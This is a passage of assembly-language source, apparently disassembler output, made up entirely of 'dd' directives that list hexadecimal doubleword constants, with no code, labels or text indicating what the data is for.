		dd 181A8094h, 0A15004D2h, 0FF38DA93h, 0F8EA0491h, 2EED054Ah
		dd 0B4BF4918h, 42102F84h, 75F13AA0h, 8B184E39h,	4AC820E6h
		dd 2D9D4DF3h, 501F2440h, 19344D40h, 4AAF162Ch, 40D80514h
		dd 6F64D018h, 3B2A9F28h, 0F8B64013h, 0E4835068h, 0A1CFD93Bh
		dd 0F5DBBF3Fh, 2C2520C0h, 13423E93h, 24469F01h,	0D0EF9B36h
		dd 405CA92Fh, 182D9D78h, 1F5CED4h, 6ED59232h, 0D0BC9142h
		dd 3578973Ah, 8C4C302Eh, 0EC9B2F02h, 8890E06Ch,	7C0F7418h
		dd 50C082D4h, 316390B9h, 8B303421h, 0A929DBA8h,	503D4393h
		dd 0C8B01325h, 0AE611649h, 0DC3D1168h, 0A19BE070h, 344B3680h
		dd 0EC5802B2h, 5074305Fh, 9A82342Fh, 90FB3943h,	409B0C82h
		dd 2EF08014h, 2E3317F7h, 0FCF329h, 0A1E43A43h, 21C36F36h
		dd 97ACBC13h, 31922170h, 0DE3A0D6Dh, 68906045h,	49C4C1E0h
		dd 9AE614B9h, 0E7109738h, 0BC9BC019h, 9F741125h, 9D2F2718h
		dd 744E0328h, 0A80F24D0h, 0DDC201Ch, 9A2F604Ah,	0E0A6D120h
		dd 9D7C273Ah, 944E6F7Ah, 0E071B817h, 0C441897Eh, 10A2293Dh
		dd 9CDEF68Ch, 319CC0F8h, 0D9F8206Eh, 88CF35F6h,	40DC5439h
		dd 42483DA4h, 6C40675Ch, 0C1BD3883h, 4319521h, 40E24EE1h
		dd 0A35ADA8h, 0EF77CE2Ch, 0F09215B0h, 6E05DE39h, 0F38EA932h
		dd 0EED41EDCh, 5ADE3B0Eh, 2FC82118h, 58552EADh,	59A2DC32h
		dd 0A8303060h, 0D4B42C41h, 3438E860h, 5344909Ah, 644AF427h
		dd 0AFF0F464h, 309C2090h, 4C07171Fh, 8C2F3A30h,	2837E8E9h
		dd 4CF029E8h, 185C2040h, 0DF17EABFh, 4B64046Dh,	0F2DCC017h
		dd 94072F05h, 0BC4A4835h, 161083AEh, 2E310015h,	9041811Fh
		dd 0A20EE0CDh, 8CE3F44Eh, 0B789212Bh, 960092F8h, 5E86F77Ch
		dd 3DFD4BB4h, 7701C610h, 72275B71h, 6D188359h, 0E093D60Ch
		dd 30D50997h, 0DC491122h, 4D0052E7h, 99C98732h,	3D37B4Fh
		dd 0C4B458D2h, 8BD811AFh, 20C07131h, 17DF4A7Eh,	9960C4Dh
		dd 0F3B1E4FCh, 0DD849400h, 6B0B11CBh, 99E268h, 106A79C9h
		dd 0CE0CFD1Ch, 4820EC60h, 53DF8131h, 5FC22019h,	16189873h
		dd 86B1C01Bh, 94A72FFFh, 9C01BD7Ah, 654A4F97h, 7040E83Ch
		dd 5080F7EFh, 1491848Ch, 908B875Ch, 75B85503h, 1106E37Bh
		dd 0E414654Dh, 23CE1528h, 8D8854CFh, 0BB8490Eh,	0A05C2CB7h
		dd 70695632h, 7B9E8B88h, 0ACF700E0h, 11B3A64Ah,	4B039DBDh
		dd 109002E1h, 80D9001Ah, 49D1F317h, 6118D57Ah, 0E8781E5Eh
		dd 0CA477A8Dh, 40841349h, 8346534Eh, 28160630h,	0A100A4Fh
		dd 413C9DBBh, 0FC10DC6Ch, 98FC9872h, 3700AA46h,	6F7B5FA5h
		dd 0CE06907Fh, 0CFA3AC07h, 0E0DE0030h, 0DDF31F09h, 0FB33C0D4h
		dd 8008D5h, 9D83B21h, 8466F761h, 62CC8604h, 0A490D7EEh
		dd 4B382Eh, 0DA0D3985h,	0B4CEC81h, 8F89A103h, 7C7829Bh
		dd 16442828h, 455B0159h, 0FE5C211Dh, 0F5490C40h, 4821AC3Bh
		dd 0F0678214h, 951C42D7h, 0D1D9907Ch, 0A1E28480h, 0C71C6264h
		dd 0B4620105h, 64803A1Ah, 0D66332BFh, 0B848F603h, 0D20B19h
		dd 5C0FE8F9h, 11779042h, 8EE77B12h, 4F9D6821h, 8F8BDF6h
		dd 9CC07085h, 75B8EF13h, 0FDA830F1h, 0D1840140h, 0D944AC14h
		dd 49960108h, 4EFE109Fh, 0CBE11833h, 3C9E1F11h,	0B048E042h
		dd 708928Ch, 0CA65217Bh, 0CD195045h, 0AB00BC4Eh, 0B9D7CD7h
		dd 0E649E667h, 148000ACh, 0AD121B15h, 0BA3ACF1Ch, 0D2A200C1h
		dd 6E623BE6h, 7D26064Ch, 85E43D6h, 8D21DC67h, 5D0F6290h
		dd 0BF912689h, 509606C8h, 0C30021D1h, 13D4589Dh, 3F1F8315h
		dd 0D683EFDCh, 846C9F10h, 0BBD3780Ch, 1C631D2h,	5D740847h
		dd 0EDD5EB97h, 0B384E099h, 8081633Dh, 0C3DD6123h, 31C68CAEh
		dd 4E25C8Bh, 0CDE130F7h, 84D2FF0Eh, 0A132A0E3h,	0D1212F60h
		dd 9D1FA159h, 0C2B68391h, 830DD99h, 0D35A2101h,	9E5F0011h
		dd 5D79CAD6h, 0C4305714h, 1CACB0E7h, 48CACD2h, 4C6B6244h
		dd 27E7625Eh, 2062D086h, 0F207FEDCh, 0BEBAC635h, 6B3E8780h
		dd 1CBF0381h, 4AC73951h, 80C6D199h, 0DF9CB238h,	0E0931BCAh
		dd 8353319Eh, 80C7A508h, 0DF959020h, 30925E82h,	4A0190Eh
		dd 0BB05D651h, 0F4071FD3h, 0FD658400h, 0B50A3h,	609F34ADh
		dd 15208CC3h, 41F7E0F9h, 586EC60Ah, 6900C0AFh, 8F9A6B96h
		dd 1B50141Fh, 6388A0EBh, 9C11C8C0h, 80D54391h, 0D311D059h
		dd 86950336h, 9F3834A5h, 0FB45B907h, 0E97037B8h, 2E02F1h
		dd 0C0762882h, 53BEC9C5h, 0A8961501h, 8E075018h, 9AB4808Ch
		dd 35EE1C58h, 1000D672h, 268DCB57h, 6B84CCCh, 6F5014CAh
		dd 5F4830F0h, 0B4960C23h, 0F82399Dh, 1842026Ah,	2120E363h
		dd 218C0930h, 262E2h, 0B8A67AD8h, 2C6965E4h, 2BD10B60h
		dd 70594D3Ch, 2448760Ah, 0FF82D1h, 33462502h, 3B04A826h
		dd 0E112CEFh, 30D09C82h, 6D106246h, 90E02E4Ch, 0E00624Eh
		dd 0AB7C19D7h, 3991DE50h, 1B12140Dh, 46085DD4h,	0E080BB08h
		dd 0DC2870F6h, 831CF0DAh, 1870F360h, 40D31C95h,	7FF81979h
		dd 51319260h, 0F48F4BCCh, 82F4A282h, 3053C18h, 0AAA797B0h
		dd 0C15860A0h, 0D107FE9Dh, 0B34474C3h, 0B1AEBF80h, 1BE80A84h
		dd 844C1C0Dh, 297F1F58h, 6CB0204Ah, 12FCB1CEh, 0D8205F00h
		dd 5C8EED47h, 0BAC90AC6h, 0C0F09FD2h, 1847026Fh, 0DD803E43h
		dd 76390267h, 0D30C310Fh, 9F4BE1FEh, 88408174h,	4CE00FF3h
		dd 0A0A748FDh, 0C86DE272h, 3A108362h, 996448A0h, 81FC40h
		dd 8E2445A4h, 0B2B02DD3h, 94958200h, 3D4FBA29h,	13A7DC0h
		dd 4C09481Eh, 81A88887h, 0C04A748h, 28345106h, 41048CD1h
		dd 564C6C62h, 8320E062h, 0CB56249h, 983931EEh, 3000691h
		dd 0CD646DE0h, 51B201Dh, 3F14F1A8h, 43C81FEAh, 89A09F58h
		dd 0E139803Ch, 84F4D939h, 0CBB2C0h, 91AF690Dh, 2BE3A1B7h
		dd 8FC81954h, 0F9816800h, 0A954AA92h, 519C1391h, 0AD270C4Ch
		dd 0D27BBC50h, 6904C8ACh, 6E184902h, 402F9062h,	12E50261h
		dd 95CB0CDAh, 2248AAB4h, 930D14B8h, 0B8DD470Ch,	0A53EC58h
		dd 0F498271Ah, 8DE105D4h, 0BAA84044h, 1C0CFFF0h, 9116FC9Bh
		dd 14F30709h, 5388A048h, 18700524h, 30CD057h, 0A38BD5C4h
		dd 0CA1BA112h, 38DF0460h, 0D0434DC7h, 0C160A58Fh, 9DFE3B1Bh
		dd 95A74484h, 981CDFECh, 6F42AF82h, 603441E3h, 931F4DBCh
		dd 63EC7300h, 0A6DBE907h, 1CA8FEE4h, 7EEEE523h,	0F457B114h
		dd 9423CCD0h, 48026801h, 89186618h, 1D60E488h, 85174F02h
		dd 86792E74h, 2F007927h, 0F8EE1E4Ch, 0F00E9F98h, 9BE61FC3h
		dd 0B8F9C22Ah, 64C91D3Fh, 7AA7184Dh, 0AB1B23DFh, 9700A811h
		dd 79EDDFA0h, 4703E266h, 64990227h, 64D0D4D0h, 80F52358h
		dd 0F341C91h, 0C80818F2h, 0DFA8C34Eh, 48B31BB1h, 9488AF34h
		dd 0BBDF00A1h, 546C6959h, 9613AD2Eh, 8008EA8Ch,	0BF23C24Fh
		dd 0A22E1040h, 72623A00h, 6DC3C10Eh, 0E0A948D4h, 84E9BC84h
		dd 0DCAC8144h, 271B009Eh, 18034148h, 9D3AC2C4h,	0DA2A04Fh
		dd 0E6C06CE9h, 0C8B020C8h, 0A41D5A07h, 77C2203Eh, 0D5C040D8h
		dd 8848919Dh, 0D3174BC8h, 52ADA00Eh, 9C0F8C70h,	0AE78CE1Ch
		dd 4E7BAA21h, 0F27C7238h, 6E3E3002h, 7A42701h, 0D7BC5FB0h
		dd 0DE0024h, 2382AD5Dh,	9E54EB01h, 6D376109h, 0D4FCB3ABh
		dd 0C25EDAC0h, 9C3D5C52h
		dd 0C828CAA5h, 3AE6C0DDh, 68B07941h, 285F321h, 8077507Ch
		dd 0F7400C46h, 0A70719D1h, 73DE188Ah, 0D6910584h, 0A8449593h
		dd 1C90D539h, 8C4A63h, 5EFB8BFDh, 96B8CEB9h, 7D26505h
		dd 6C8A8653h, 5B1A0802h, 0A86C876Ch, 0DBD8A750h, 23205CBAh
		dd 59972B8Bh, 0C75D1FD4h, 0A8F1BC0Fh, 40B83100h, 25649359h
		dd 5C38CEF8h, 177D0C97h, 145218C2h, 4BA8B071h, 82D02887h
		dd 92BF0440h, 0CAF7231Ch, 603F9Ch, 0B8AC360Bh, 13B02B76h
		dd 12295368h, 464430F4h, 1C4CA5BBh, 0FB80D994h,	0C0164C42h
		dd 80DEC328h, 9730501Bh, 9E4F297Dh, 5EA21CFEh, 0A0EB1858h
		dd 6418F181h, 3A30C214h, 962FFC6Eh, 80D4112Ch, 4C696242h
		dd 0DE448C4Eh, 624A0184h, 381B82A0h, 0C69FF553h, 7F1E4A1h
		dd 0C025C30Ch, 1B6410C5h, 0CC093E2h, 51300D97h,	3F608209h
		dd 9B1C107Eh, 0C80D80EEh, 0A8D4A001h, 7C3D6747h, 1FA2B420h
		dd 70C0439Dh, 0CC651F70h, 8228DB58h, 0E9E6F6D4h, 0CA186170h
		dd 919A1108h, 4E0EC4C5h, 9611605Fh, 7087A52h, 0A3AD6EF7h
		dd 7141297h, 69D0C68h, 0D3BACC0Fh, 75A8A0A6h, 98C3BD4Ah
		dd 8D832E88h, 0CB3844ACh, 1E3DDB8h, 0BDEC27D6h,	0C880F2DBh
		dd 9F4A72C2h, 987F2C28h, 0D01FF10Ah, 9A30E4FAh,	18C670AAh
		dd 20A5288Eh, 8C202719h, 2A4C90FCh, 0B4AC44h, 0A637BA05h
		dd 8BD76018h, 0F00CA091h, 994DD9E8h, 0D1F0284h,	0CD02EB53h
		dd 0CAF8525Fh, 0CEA865D8h, 91A61141h, 88081825h, 1107CE53h
		dd 943D80CAh, 8F8D22A0h, 14B34830h, 195F9880h, 7E6230Ch
		dd 1F184B09h, 9CD4A074h, 0B2D8649Fh, 3FD2022Ch,	8C0F2313h
		dd 30C634E8h, 92628803h, 6C0B6197h, 4CF878E8h, 2F9007EBh
		dd 904DBB77h, 6D07244h,	0D867426Ah, 4605317Ah, 0AD24CDEh
		dd 46662038h, 974A0CBCh, 16C2216Ch, 0BD7681Bh, 1400CDD7h
		dd 0C07829F5h, 91B2D0C6h, 87120FE9h, 0BBA35B11h, 74B8E9C9h
		dd 77168804h, 0AC040724h, 6D01D5E4h, 0DA6F62B1h, 0D31874EEh
		dd 3469635Fh, 0EC61760h, 8740391h, 810F86F3h, 82A3C21Ah
		dd 65E8930Ch, 511025Ch,	459D163h, 0D6946Ah, 7362483Bh
		dd 7824874Ah, 483AA8C9h, 3ED17F7Ch, 0FB054C6Fh,	8176FDAAh
		dd 8BE304E8h, 4A46A81h,	0FC821A18h, 804C0591h, 799B05F0h
		dd 0F315A0C4h, 6399E480h, 0DFA6CF5Eh, 5C90C747h, 64189788h
		dd 2C51E6B8h, 96A1C017h, 0BB9E4E9Ah, 3700777Eh,	685A5F9Dh
		dd 240DBFF5h, 0AE8700Bh, 0EECEFCEh, 0BBCFD149h,	736C4013h
		dd 3ED075F5h, 64CF9512h, 309D6CD2h, 3D12026Dh, 0A48B4E18h
		dd 265DF00h, 0CA86283Fh, 82408D7Dh, 401A4F97h, 74B843BCh
		dd 97D9A29h, 0AC485750h, 0DA79C499h, 490B1F18h,	1409DCh
		dd 41D65D91h, 0D49D2E22h, 4AF11158h, 8A23082Fh,	0BC8C901h
		dd 24604A3Ch, 0A8F1665Ah, 490D81C3h, 0E09DB097h, 0FF44D047h
		dd 2A1D0B42h, 0CE5084Ah, 7E60A7E4h, 9D14EC7Fh, 68307DB0h
		dd 3A113081h, 91CDBB18h, 280163D1h, 0F521FB44h,	83E00851h
		dd 9720C3E3h, 29019656h, 0CA670BA6h, 1C240A2Bh,	0E6380144h
		dd 29146F75h, 3712E4C8h, 56675B02h, 8339E25Ch, 68F12080h
		dd 11D849E1h, 624780D3h, 0B9464C6Ah, 4F81C0A0h,	0F2751362h
		dd 519D9713h, 0ECC1BC24h, 7401C453h, 71BD04Bh, 880E4026h
		dd 9CE0C005h, 0A64C7C83h, 0F4641031h, 0DC702DFh, 64A58C9Fh
		dd 4A0D364h, 0FE0C08h, 0B2E7F605h, 649C04A6h, 0C5D0F8C4h
		dd 181010ACh, 0C92D144Ch, 73955419h, 31DCA20Ch,	0CD03F850h
		dd 8187B200h, 0C09A54B9h, 587B0B3Dh, 0E096953Fh, 8F5F4812h
		dd 974D098h, 3BC9C5CCh,	0C4400C4Ah, 0ED09E03Dh,	13B9549Dh
		dd 0C9FEB844h, 5C2F1317h, 99A0C020h, 1779CB3h, 48C71B30h
		dd 7B43C323h, 0CC6304E8h, 0D27E4085h, 1C8257F4h, 0CCE049BFh
		dd 0F0FDF850h, 4D5BEC62h, 0DB23303Ah, 0E6FAE400h, 0B7CB04h
		dd 7960683Eh, 96DD670Dh, 0B427C4B8h, 248422E1h,	0C45CE77Ch
		dd 0A08A6001h, 0D9F502D1h, 28278261h, 98D55448h, 1B1FB8B1h
		dd 0AC801813h, 8993B496h, 8B68E023h, 790030F8h,	4BC8B050h
		dd 4FF8D7FCh, 0BECACD5h, 82CBA34Ah, 0BA16F08h, 0F5FB8C02h
		dd 16035100h, 3F0B13C0h, 0AE9802D5h, 3204A19Ch,	0A4D800D6h
		dd 585200D8h, 12B72F9Fh, 58D7D215h, 1C91D040h, 9ED0F954h
		dd 55B9E034h, 5E2C69A9h, 0BBA76CCEh, 3816B8B0h,	287CB0A1h
		dd 99A8F793h, 8E929634h, 0CF0EC87Ch, 0E04B286Bh, 51E503E4h
		dd 97D03A86h, 301A3A99h, 1EE8222Eh, 0CFC06EFDh,	609EAF54h
		dd 389C6097h, 5104A642h, 0BC2E2C91h, 0F01A04D6h, 0C041C851h
		dd 13B37C90h, 24A71505h, 0FC12F3CCh, 0DA234C3Ah, 0BAC1FC00h
		dd 157EE24h, 0F212C346h, 68AB548Dh, 0C49A1050h,	0BB446400h
		dd 302E09Fh, 1CB8C956h,	0C7166C91h, 0A20778D1h,	0EC521012h
		dd 79CFBA30h, 0F1718Dh,	0CBAF2955h, 406F4C72h, 1970A760h
		dd 0CAEA0C1Fh, 0CDCA3D0h, 1E39D0BBh, 0BED92C04h, 3881C77Dh
		dd 0A6E6874Bh, 2078C284h, 90C4F357h, 7309EF84h,	0B2BC6885h
		dd 308FE254h, 0B70E2CB6h, 2A64F35Ah, 0F56064EDh, 58A5066Ch
		dd 0DD182CA7h, 507BB09Bh, 3C917FEEh, 0D2069D06h, 7C9713B1h
		dd 4D4022AEh, 92960849h, 50606228h, 239F11C9h, 711DD91h
		dd 11D15C00h, 0DB4F6A37h, 0EA0DFD1Dh, 94922F57h, 0A87C43A0h
		dd 0BA193Ah, 0E7F3C9FFh, 288E51E9h, 0FC0F6326h,	66431400h
		dd 485B73E8h, 0E4A7C8D7h, 0BFF493D2h, 0DF5792B8h, 0D50744B6h
		dd 50A5A863h, 0CDE1A080h, 5BF7E43h, 0D9647BCh, 66A4F1BDh
		dd 6756E000h, 9C3750BCh, 41D49E4Bh, 0CE0A064h, 0EC7C506Ch
		dd 0FB700969h, 388983F6h, 0CB489082h, 0A8504CD2h, 0DB34D5BCh
		dd 60819052h, 7200EFAFh, 10248F4Ah, 2F9D3C7Ch, 3048F651h
		dd 81481826h, 8CC9FD74h, 0A28C6362h, 1F6B30E0h,	24A1DD04h
		dd 0C4C3083Ch, 448EFF41h, 98D22D50h, 1F2452B1h,	4096221Eh
		dd 0D1B5773Ah, 600122Bh, 0BF7E49F2h, 78071508h,	0B1C9055h
		dd 0D0FB62B0h, 0E696A001h, 6CC8A611h, 0C5250210h, 8F11641Dh
		dd 371A7480h, 986AB33Ah, 0F2049419h, 0CDC1DF9Dh, 0C024BBE4h
		dd 26C8BC50h, 4AC10104h, 245424A6h, 617BB0E0h, 9F4BE109h
		dd 97E4C01Fh, 0B1889419h, 41ABBC18h, 92482C20h,	64202B58h
		dd 78DF25h, 5CA055BFh, 0F026B4EAh, 0A601AB7Ah, 1B192BAFh
		dd 0D2CE140Fh, 68276BF4h, 8544B847h, 77885860h,	1AF58F0Eh
		dd 324AA028h, 0B0A90452h, 932E0046h, 3B9CEA12h,	60121BD1h
		dd 0F449A3CBh, 2F40829Dh, 2050C495h, 0A498CCA7h, 48D0D124h
		dd 88604912h, 23CBDF9Bh, 0A4118B1Bh, 4949312h, 0F1E5C8B9h
		dd 4C2E2A30h, 7C03AE23h, 0F356D14Ch, 277DD1F1h,	61AC6820h
		dd 1A3E50BFh, 0A4A5DECAh, 0C5BCF05Ch, 50D86E52h, 1F843428h
		dd 2AB6148Eh, 0F64E12D8h, 19B0B438h, 9BB30715h,	0EFFC00A8h
		dd 0BFE0C6Bh, 0CB9702B8h, 0EE1F0851h, 2D27CC50h, 0DCCC399Bh
		dd 62104806h, 8062D653h, 0A20E1120h, 40F47187h,	13E6A774h
		dd 0D8224499h, 64818E10h, 611204Eh, 0C5809FECh,	4935BC62h
		dd 0B097754Ch, 0BC929528h, 0E0C4A865h, 821E9460h, 3F858FAh
		dd 9C20514Bh, 2BEEFFBh,	491F042h, 0C8D0D3D7h, 3CB4FF0Ah
		dd 9813BCDCh, 641BFCC7h, 1BE4A130h, 0C32110E0h,	82439FC9h
		dd 1FD2A802h, 0C0F27D50h, 64B94CC4h, 0C122F8D3h, 9DDFE8h
		dd 0F3486217h, 964B1FF8h
		dd 0A2293020h, 9FF0133Ah, 40AD1278h, 11F0AC8Fh,	12B1F608h
		dd 60381A27h, 83D6D7F8h, 9A2E0788h, 9709E9B0h, 83F4F01Ch
		dd 0A0C662A8h, 0F5255717h, 9F6434h, 18409BE9h, 6D4585Fh
		dd 3CA19CACh, 7D343464h, 80B9CD69h, 98331E4Ch, 0C9EDB20Eh
		dd 7C44A120h, 0B0F73834h, 2890A284h, 31BEF6A8h,	2C7A1067h
		dd 848C2D9Ah, 0C04082A0h, 0F1D11E53h, 89555C90h, 22282CB0h
		dd 1F2E30DBh, 3482BF59h, 78BEE332h, 2E8569Ch, 0A92FB19Bh
		dd 3061C842h, 41198584h, 0D4A09067h, 509D16A2h,	916CC0B8h
		dd 21868B0Ch, 152FF769h, 81109120h, 0D01D0BC5h,	0B8049851h
		dd 6B686DE8h, 380460DCh, 0F1FF410Ah, 4E709652h,	6C2900CCh
		dd 804C6B8Bh, 1C00EECFh, 0BC77C491h, 87824Fh, 0B25AE6A9h
		dd 215BD514h, 0B0AC3Eh,	8F458160h, 664DA805h, 21B60897h
		dd 608A0D09h, 0CC1500B8h, 7CF3DC54h, 0D3F20087h, 0B619CF18h
		dd 0C80EF9F8h, 46B12175h, 3C100426h, 0B9807360h, 432F250Ah
		dd 18DCD296h, 0A015A6C3h, 5F2CE007h, 0AB8705CCh, 20B15AEBh
		dd 8460834Ch, 11974523h, 8B1000B5h, 80C2AB60h, 0DF2002EEh
		dd 0B04D76D3h, 0D0823883h, 38538928h, 0C90FA17Ah, 677DB8FEh
		dd 88AF0Ah, 1FEEFF64h, 69005446h, 7250E603h, 7358356Eh
		dd 4BB3063Ch, 38D2731Eh, 5114B171h, 1074F542h, 141AA45Dh
		dd 0A680A1D3h, 6211EB2Dh, 5331C10Eh, 94F80ADBh,	57688386h
		dd 3BD00128h, 0D1F0E7BCh, 0DAD4FC9Dh, 4608E566h, 0B4980021h
		dd 0A284E2E7h, 0F514820Bh, 5C068F2h, 5C533D32h,	0C07A2C48h
		dd 0D1FBE7B7h, 4822B546h, 0E7AF9D00h, 0CEC360CCh, 0E6BE1BC5h
		dd 2FC0E0BBh, 5C38788Dh, 0EC8B8613h, 0CD9C831h,	0B3C71E45h
		dd 0E52A1C28h, 0F001904Dh, 0AA642CD9h, 99DB2519h, 7A00F3CAh
		dd 0E700356Ah, 0CFB3323Eh, 0C5BC26C9h, 2027EC40h, 8C2A1598h
		dd 10D27924h, 0A8CDF90Ah, 0C040C591h, 0ADB70036h, 6B6D07E0h
		dd 0D1010A6Eh, 28852CFEh, 0A5CC40DAh, 0A6CD0AF6h, 3F8B399h
		dd 222E19A7h, 0C38B8801h, 1D2886E1h, 0A4015C54h, 564EBB2Ch
		dd 0A2798C50h, 0FFEC0F13h, 4BEC451Ch, 5091E6B8h, 1F18B679h
		dd 6A0028B8h, 675DE274h, 0C6AE26EDh, 714F6550h,	8322F800h
		dd 45B6E546h, 0EB110140h, 0BB269EFFh, 0C9444B0h, 61B142A0h
		dd 7CA6D118h, 3D48E6E1h, 0CE2876D4h, 6165F898h,	1C88594Dh
		dd 46C6E0F9h, 17686600h, 34B5EE7Bh, 7C0C155Fh, 0CC91E0C0h
		dd 0CB456A81h, 87A8BA49h, 84C76DD6h, 0F7FC01C9h, 608020F2h
		dd 938B015Bh, 0B2F26A7Bh, 68A2570Eh, 21FE8CB4h,	938300E4h
		dd 30727FE8h, 1B004F35h, 8C363DF6h, 61F31EABh, 0EF6870DBh
		dd 67DC42EEh, 47657721h, 0B95AC983h, 6D80A75Bh,	3F0079EAh
		dd 97BFD4FDh, 0F927EEh,	0F6FE2C4Eh, 373DCA8Ah, 1834B149h
		dd 9B9A229h, 0F492BEh, 0D782E85h, 7EA55948h, 5A0164EAh
		dd 0D56BF525h, 0A4524156h, 1088B381h, 0C0F301F8h, 6A81938Dh
		dd 22B44390h, 85E60AF5h, 11DCB593h, 0DB02703Eh,	0D3FBEC16h
		dd 81DC4134h, 0B66E5010h, 19A9A1C1h, 5824FD82h,	6464524Fh
		dd 9E11886Eh, 6A8293C2h, 10F93168h, 7937CE1h, 6154C808h
		dd 0F53DF7C0h, 0CEC5432h, 60E0A735h, 1B20BF74h,	66695898h
		dd 912C1D88h, 5E8803Eh,	12073A3h, 881F58F8h, 80B10B1Bh
		dd 48913EE9h, 1201F1B4h, 6D9BBDEh, 90D587F0h, 0C442BC90h
		dd 19EECE18h, 26F08CC1h, 10D66731h, 8AF8A1C2h, 0D0F72B68h
		dd 0F2FD8894h, 85938160h, 2270466Ah, 79E202F3h,	879CEA93h
		dd 0B20AFCB0h, 7EDAB1C0h, 46F173Fh, 0AC78643Dh,	2854C1BCh
		dd 325820B5h, 22CC7E48h, 0B08C51C9h, 0EC00CBE1h, 0B1EA76E3h
		dd 154D9605h, 0EC609037h, 0E9E3C1h, 0EF046878h,	0C0B5735Fh
		dd 0A91C4490h, 9C2C0239h, 7C713446h, 0CDAE7BD1h, 82287318h
		dd 0DB3D6AA8h, 49E48355h, 881E42D6h, 0C0F30210h, 6A80938Eh
		dd 0F6448C98h, 93860CE3h, 8AD8AF9Ch, 0F5D13C91h, 0EC2CAB18h
		dd 4B401C28h, 80C326C6h, 0ACA8BA0Ah, 0D8073E63h, 60369471h
		dd 0FCA23953h, 0DD69C580h, 0A2BF6C2h, 0B1C0A6CEh, 2C00A8ACh
		dd 4554D017h, 14AC0671h, 0BA1769BEh, 0E6006B23h, 4EEA6F33h
		dd 350D00A9h, 0C16746D7h, 6230CE45h, 0ABB740C2h, 0D11E2842h
		dd 0F0F33095h, 2667FFC1h, 18843D03h, 0E835428Fh, 1CA98C60h
		dd 0C39A21ECh, 0E8F1EE13h, 83158h, 1BAE7571h, 1651E9EBh
		dd 8829F09h, 0BF86CA9Ch, 0A3123D4h, 4FDF4568h, 1B5101D4h
		dd 0A6A635EDh, 0DE3429h, 7B2218DEh, 6901AB88h, 3ABAED10h
		dd 131E5004h, 210480DEh, 0D2F351BBh, 9956D201h,	113441D2h
		dd 188E49E1h, 0D3241FF2h, 0CED0C253h, 883F390Ch, 0A45C44DAh
		dd 2798056Ah, 6284C41Bh, 22F8F410h, 0C6A50814h,	0A105C1BEh
		dd 0E40427FDh, 3101B4E5h, 40CD9A1Bh, 0C561F2BCh, 3348482h
		dd 6F937F61h, 345805B1h, 77E088F8h, 0CA0E40B0h,	0A17E871Bh
		dd 0ECF225A1h, 2E248214h, 3EC69D20h, 970B9B6h, 149D8A5Dh
		dd 0A180F911h, 2A99EEB6h, 3B311A1Dh, 0E0B230EEh, 432F20C4h
		dd 8B80FDFEh, 1F4D14CAh, 8F09C8ADh, 3E80C61Ch, 0BAB95EDBh
		dd 1082C0A2h, 0EF1002D7h, 4C7AE2C6h, 108488D1h,	858F0036h
		dd 4895FD9Ah, 0C180D8F2h, 0A2788B5Ch, 0AEB10C0Bh, 383002C2h
		dd 5EC20F06h, 10EACA2Dh, 60B33084h, 238E6081h, 0B911E745h
		dd 60891201h, 0D8E8F4CEh, 9C03F685h, 2D34BA48h,	0E96822DFh
		dd 91EEF330h, 66E6A4h, 330C9114h, 92E5B4BDh, 9651AD01h
		dd 7CBB154Bh, 58C2EC30h, 238440BFh, 0AA18185Bh,	0E8A080CBh
		dd 61D4BD01h, 0C91639B1h, 5EDCA840h, 9CA454B5h,	0A05106E1h
		dd 403306EDh, 0FAE7D006h, 4938037Ch, 0AC2E7CE4h, 0B7360A64h
		dd 1E4D82A8h, 14E030FAh, 26DEB907h, 20D4AB49h, 8BB79878h
		dd 8E20A7B0h, 0D0500131h, 4B423ACh, 848B6080h, 0C4AC62F5h
		dd 60880720h, 0D3F2007Ah, 0CF8E2F19h, 0B161B576h, 0BB1B29D8h
		dd 7F01074h, 4FED958Fh,	40CD36A5h, 8DD09204h, 0A4D0A709h
		dd 0C1BF6CCh, 370231B8h, 8CC1240h, 0E6A21C0h, 8D7D1BFEh
		dd 0C5A82260h, 0E30F725Ch, 0D2AE19D9h, 80E0C450h, 756EF70h
		dd 55F50780h, 0F27FE96Dh, 0F88272B6h, 8B040543h, 2E034C82h
		dd 26800E12h, 0A47C2CB0h, 0E4AC560Ah, 0A719E14Eh, 0E09E9EE5h
		dd 0F98F4068h, 53603847h, 1418F14Eh, 0DFD85A60h, 2F320290h
		dd 2C9BD176h, 0EC466FA2h, 26BC26E1h, 98E45C7Ch,	0B16ECC91h
		dd 11220F03h, 947C58D3h, 7AD59310h, 262008B0h, 65DC0022h
		dd 6B094BBCh, 5D4B5B4Dh, 0D15E604Fh, 3909EB3Ah,	609FAC1Ch
		dd 0CC81FE11h, 7006F25Ch, 61015DF8h, 4B313411h,	8889C882h
		dd 1048A050h, 567441C7h, 0B519A1C3h, 1D2A3BFh, 88FC6751h
		dd 98BE0ED9h, 0D21922A0h, 0A9F231E5h, 345565C0h, 5F02EDE4h
		dd 0ABA7B8C9h, 275C20Ch, 93782E8h, 0BC2AD882h, 2529E24h
		dd 0F9FB4AF8h, 0BF10BC11h, 0E0A11D20h, 52102460h, 0B7AD7E16h
		dd 290B304Ch, 4F1E13ABh, 6F6C21B4h, 7CCE0437h, 92C0BC88h
		dd 17359E19h, 6C9D937h,	0E14A66B4h, 0E4B5101Fh,	2BA95880h
		dd 0B3298Dh, 0A1036EB8h, 6A8AFFC9h, 0CCFB4D26h,	3404EF92h
		dd 2F02B4B8h, 50C93E1Bh, 11D437DCh, 0EA06E0D6h,	40527B4Dh
		dd 0D7793CA0h, 33BB8440h, 75897354h, 0A05186C2h, 70E7B2BFh
		dd 91A05195h, 0B3990E45h, 4A101E7h, 61C81637h, 0D64B182Fh
		dd 688A90CFh, 0B9C2ED30h
		dd 0BA01F1F5h, 0D1F4B1A8h, 389218F9h, 0A31F2035h, 0F4EA0Ah
		dd 36E6B85Dh, 0BB5A8A03h, 0C219AF09h, 9114A302h, 2F704BB5h
		dd 3AF52308h, 6BC21CFh,	3D62F0D8h, 0E85EE100h, 683586EAh
		dd 0D9C02CECh, 0BB0943F4h, 0BD1C3100h, 0A828A31Bh, 0EFF9006Bh
		dd 254F2BCAh, 6A0AE53Ch, 8C324AEDh, 143EDB96h, 81F98123h
		dd 0C0CAD30Eh, 1DC0C2C8h, 4A298C9h, 0C8E070F2h,	2170BA7h
		dd 0A1694B1Ch, 0F942194h, 441CC21h, 0EF10F1F2h,	22006398h
		dd 36099BA6h, 291F0B8h,	0F75AC544h, 28C0BC48h, 61285E32h
		dd 10D498BFh, 17C235Ch,	0D1F5E7B9h, 9B000EE5h, 13E9E7B1h
		dd 530A26A2h, 9831F5F4h, 1C022412h, 0CA097652h,	0A4B44370h
